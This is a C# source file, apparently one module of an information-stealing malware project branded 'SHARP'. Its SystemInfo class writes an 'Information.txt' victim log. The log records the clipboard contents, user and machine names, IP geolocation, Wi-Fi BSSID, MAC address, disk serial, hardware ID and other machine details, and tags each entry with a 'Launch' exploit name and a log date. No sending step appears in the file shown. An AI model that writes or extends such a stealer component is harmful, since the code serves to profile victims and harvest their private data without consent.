169 lines
7.2 KiB
C#
169 lines
7.2 KiB
C#
using Microsoft.Win32;
|
|||
|
|
using System;
|
||
|
|
using System.Drawing;
|
||
|
|
using System.IO;
|
||
|
|
using System.Management;
|
||
|
|
using System.Threading.Tasks;
|
||
|
|
using System.Windows.Forms;
|
||
|
|
|
||
|
|
namespace SHARP
|
||
|
|
{
|
||
|
|
internal class SystemInfo
|
||
|
|
{
|
||
|
|
public static string username = Environment.UserName;
|
||
|
|
public static string compname = Environment.MachineName;
|
||
|
|
|
||
|
|
public static async Task GetSystem(string head)
|
||
|
|
{
|
||
|
|
File.WriteAllText(head + "\\Information.txt", $"\n---░██████╗██╗░░██╗░█████╗░██████╗░██████╗░---\n---██╔════╝██║░░██║██╔══██╗██╔══██╗██╔══██╗---\n---╚█████╗░███████║███████║██████╔╝██████╔╝---\n---░╚═══██╗██╔══██║██╔══██║██╔══██╗██╔═══╝░---\n---██████╔╝██║░░██║██║░░██║██║░░██║██║░░░░░---\n---╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░░░░---\n---------------ME----------------\n==============================================\n Operating system: {SystemInfo.GetSystemVersion()}\n PC user: {SystemInfo.compname}/{SystemInfo.username}\n ClipBoard: {Buffers.GetBuffer()}\n Launch: {Help.ExploitName}\n==============================================\n Screen resolution: {SystemInfo.ScreenMetrics()}\n Current time: {DateTime.Now.ToString()}\n HWID: {SystemInfo.GetProcessorID()}\n==============================================\n CPU: {SystemInfo.GetCPUName()}\n RAM: {SystemInfo.GetRAM()}\n GPU: {SystemInfo.GetGpuName()}\n==============================================\n IP Geolocation: {Help.IP} {Counting.country}\n Log Date: {Help.date}\n BSSID: {BSSID.GetBSSID()}\n==============================================\n HDD: {SystemInfo.GetHDDSerialNo()}\n MAC: {SystemInfo.GetMACAddress()}\n BIOS caption: {SystemInfo.GetBIOScaption()}\n==============================================");
|
||
|
|
}
|
||
|
|
|
||
|
|
public static string GetSystemVersion()
|
||
|
|
{
|
||
|
|
return $"{SystemInfo.GetWindowsVersionName()} {SystemInfo.GetBitVersion()}";
|
||
|
|
}
|
||
|
|
|
||
|
|
private static string GetMACAddress()
|
||
|
|
{
|
||
|
|
ManagementObjectCollection instances = new ManagementClass("Win32_NetworkAdapterConfiguration").GetInstances();
|
||
|
|
string empty = string.Empty;
|
||
|
|
foreach (ManagementObject managementObject in instances)
|
||
|
|
{
|
||
|
|
if (empty == string.Empty && (bool) managementObject["IPEnabled"])
|
||
|
|
empty = managementObject["MacAddress"].ToString();
|
||
|
|
managementObject.Dispose();
|
||
|
|
}
|
||
|
|
return empty;
|
||
|
|
}
|
||
|
|
|
||
|
|
public static string ScreenMetrics()
|
||
|
|
{
|
||
|
|
Rectangle bounds = Screen.GetBounds(Point.Empty);
|
||
|
|
int width = bounds.Width;
|
||
|
|
int height = bounds.Height;
|
||
|
|
return $"{width.ToString()}x{height.ToString()}";
|
||
|
|
}
|
||
|
|
|
||
|
|
private static string GetBIOScaption()
|
||
|
|
{
|
||
|
|
foreach (ManagementObject managementObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_BIOS").Get())
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
return managementObject.GetPropertyValue("Caption").ToString();
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return "BIOS Caption: Unknown";
|
||
|
|
}
|
||
|
|
|
||
|
|
public static string GetWindowsVersionName()
|
||
|
|
{
|
||
|
|
string windowsVersionName = "Unknown System";
|
||
|
|
try
|
||
|
|
{
|
||
|
|
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\\CIMV2", " SELECT * FROM win32_operatingsystem"))
|
||
|
|
{
|
||
|
|
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
|
||
|
|
windowsVersionName = Convert.ToString(managementBaseObject["Name"]);
|
||
|
|
windowsVersionName = windowsVersionName.Split('|')[0];
|
||
|
|
int length = windowsVersionName.Split(' ')[0].Length;
|
||
|
|
windowsVersionName = windowsVersionName.Substring(length).TrimStart().TrimEnd();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Console.WriteLine((object) ex);
|
||
|
|
}
|
||
|
|
return windowsVersionName;
|
||
|
|
}
|
||
|
|
|
||
|
|
private static string GetHDDSerialNo()
|
||
|
|
{
|
||
|
|
ManagementObjectCollection instances = new ManagementClass("Win32_LogicalDisk").GetInstances();
|
||
|
|
string hddSerialNo = "";
|
||
|
|
foreach (ManagementObject managementObject in instances)
|
||
|
|
hddSerialNo += Convert.ToString(managementObject["VolumeSerialNumber"]);
|
||
|
|
return hddSerialNo;
|
||
|
|
}
|
||
|
|
|
||
|
|
private static string GetBitVersion()
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
return Registry.LocalMachine.OpenSubKey("HARDWARE\\Description\\System\\CentralProcessor\\0").GetValue("Identifier").ToString().Contains("x86") ? "(32 Bit)" : "(64 Bit)";
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Console.WriteLine((object) ex);
|
||
|
|
}
|
||
|
|
return "(Unknown)";
|
||
|
|
}
|
||
|
|
|
||
|
|
public static string GetCPUName()
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
string empty = string.Empty;
|
||
|
|
foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_Processor").Get())
|
||
|
|
empty = managementBaseObject["Name"].ToString();
|
||
|
|
return empty;
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Console.WriteLine(ex?.ToString() + "СистемИнфа");
|
||
|
|
return "Error";
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
public static string GetRAM()
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
int num = 0;
|
||
|
|
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * From Win32_ComputerSystem"))
|
||
|
|
{
|
||
|
|
using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get().GetEnumerator())
|
||
|
|
{
|
||
|
|
if (enumerator.MoveNext())
|
||
|
|
num = (int) (Convert.ToDouble(enumerator.Current["TotalPhysicalMemory"]) / 1048576.0) - 1;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return num.ToString() + "MB";
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Console.WriteLine((object) ex);
|
||
|
|
return "Error";
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
public static string GetProcessorID()
|
||
|
|
{
|
||
|
|
string empty = string.Empty;
|
||
|
|
foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("SELECT ProcessorId FROM Win32_Processor").Get())
|
||
|
|
empty = (string) managementBaseObject["ProcessorId"];
|
||
|
|
return empty;
|
||
|
|
}
|
||
|
|
|
||
|
|
public static string GetGpuName()
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController").Get().GetEnumerator())
|
||
|
|
{
|
||
|
|
if (enumerator.MoveNext())
|
||
|
|
return enumerator.Current["Name"].ToString();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Console.WriteLine((object) ex);
|
||
|
|
}
|
||
|
|
return "Unknown";
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|